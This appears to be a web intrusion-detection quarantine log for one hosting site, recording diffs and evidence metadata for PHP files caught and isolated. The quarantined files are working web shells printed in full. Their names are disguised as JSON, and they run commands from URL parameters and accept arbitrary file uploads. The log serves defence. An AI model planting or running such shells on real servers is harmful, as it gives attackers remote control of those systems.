run-log: 20260718T160241Z (652 operation)

vhost: www.archline.hu
rel_path: templates/shaper_helix3/index.php
result: quarantined
evidence_sha256: 8b5037c7d265a95c812363ad3fb8c096d0b3d219df5b6a5e3bf7c0504be3184a
timestamp: 20260718T160241Z
finding_ref: 2989

var/www/hosting/archline.hu/www/56v68htl.php.json

@@ -0,0 +1 @@
+<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

var/www/hosting/archline.hu/www/56v68htl.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2866",
+  "log_excerpt": "[quarantine] www.archline.hu:56v68htl.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/56v68htl.php.json)",
+  "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783782439,
+    "size": 57,
+    "uid": 20043
+  },
+  "rel_path": "56v68htl.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_032udz2d.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_032udz2d.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2923",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_032udz2d.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_032udz2d.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783981803,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_032udz2d.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_06hpdsh3.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_06hpdsh3.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2885",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_06hpdsh3.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_06hpdsh3.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783969351,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_06hpdsh3.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2899",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_0auup6mf.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_0auup6mf.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783858318,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_0auup6mf.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_3ojeb2tw.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_3ojeb2tw.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2840",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_3ojeb2tw.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_3ojeb2tw.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783981583,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_3ojeb2tw.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2915",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_4850bh4a.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4850bh4a.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783861952,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_4850bh4a.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2909",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_4g075mza.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4g075mza.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783867047,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_4g075mza.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_4llbsxi9.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_4llbsxi9.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2874",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_4llbsxi9.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4llbsxi9.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783973748,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_4llbsxi9.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_4poq79l5.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_4poq79l5.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2868",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_4poq79l5.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_4poq79l5.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783961720,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_4poq79l5.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_53iofmnu.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_53iofmnu.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2857",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_53iofmnu.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_53iofmnu.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783971847,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_53iofmnu.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_5pvatqpr.php.json

@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>

var/www/hosting/archline.hu/www/_h3x_5pvatqpr.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2824",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_5pvatqpr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_5pvatqpr.php.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783843871,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_5pvatqpr.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_6ghs0oy0.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_6ghs0oy0.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2841",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_6ghs0oy0.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_6ghs0oy0.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783972568,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_6ghs0oy0.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2833",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_7kri7up1.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_7kri7up1.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783871529,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_7kri7up1.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2878",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_8ff9si92.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_8ff9si92.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783865771,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_8ff9si92.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_8jx3vwz3.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_8jx3vwz3.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2867",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_8jx3vwz3.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_8jx3vwz3.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 0,
+    "mtime": 1784073554,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_8jx3vwz3.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2835",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_c9lejjtn.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_c9lejjtn.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857948,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_c9lejjtn.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2846",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_czk16vzq.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783904363,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_czk16vzq.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2917",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_czx65dw0.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783870221,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_czx65dw0.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2864",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_eadu7slw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857929,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_eadu7slw.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json

@@ -0,0 +1,39 @@
+<?php
